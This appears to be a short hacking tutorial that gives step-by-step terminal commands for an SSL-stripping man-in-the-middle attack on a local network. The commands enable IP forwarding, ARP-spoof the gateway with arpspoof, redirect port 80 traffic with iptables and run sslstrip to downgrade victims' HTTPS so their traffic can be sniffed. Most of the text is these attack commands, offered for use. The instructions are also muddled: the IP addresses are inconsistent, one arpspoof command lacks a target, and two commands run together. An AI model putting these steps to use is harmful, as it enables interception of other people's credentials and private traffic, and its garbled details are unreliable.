Hacking SSL Using SSL Strip:

Advantage of Cracking SSLStrip :
1.Address bar uses http instead of secure https.
2.Sniffing becomes easy....

Tools:
•Backtrack 5
•Arpspoof
•IP Tables
•SSL Strip
•Netstat


So first start up your Backtrack 5 terminal and type the following Command:
echo '1' > /proc/sys/net/ipv4/ip_forward

Now after typing this command the backtrack will be able to forward the packets, now we have to get some information about the gateway Ip, so to know more about our gateway IP we will type the following command:
netstat -nr

Then we are going to get some information about the gateway ip, and ARPSpoof to perform the attack

arpspoof -i eth0 192.168.8.8

In the above command eth0 represents the network interface card (NIC) or if you are using a wireless then it will be wlan0. So in our case the default gateway is 192.168.1.1.

After that we have to Download sslstrip, which you can find from the official website.

Then after we have installed sslstrip now we have to make our firewall to redirect the traffic from Port 80 to Port 8080, so to do this type the following command:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-port 8080

So our last step would be to make all the traffic to go from ARPspoof tables.Command:

echo '1' > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0
192.168.8.8

So finally we are done, now the ARPspoof will start capturing traffic & we have to use SSLstrip now so type the command: sslstrip -l 8080 .Now you have successfully cracked the SSLstrip.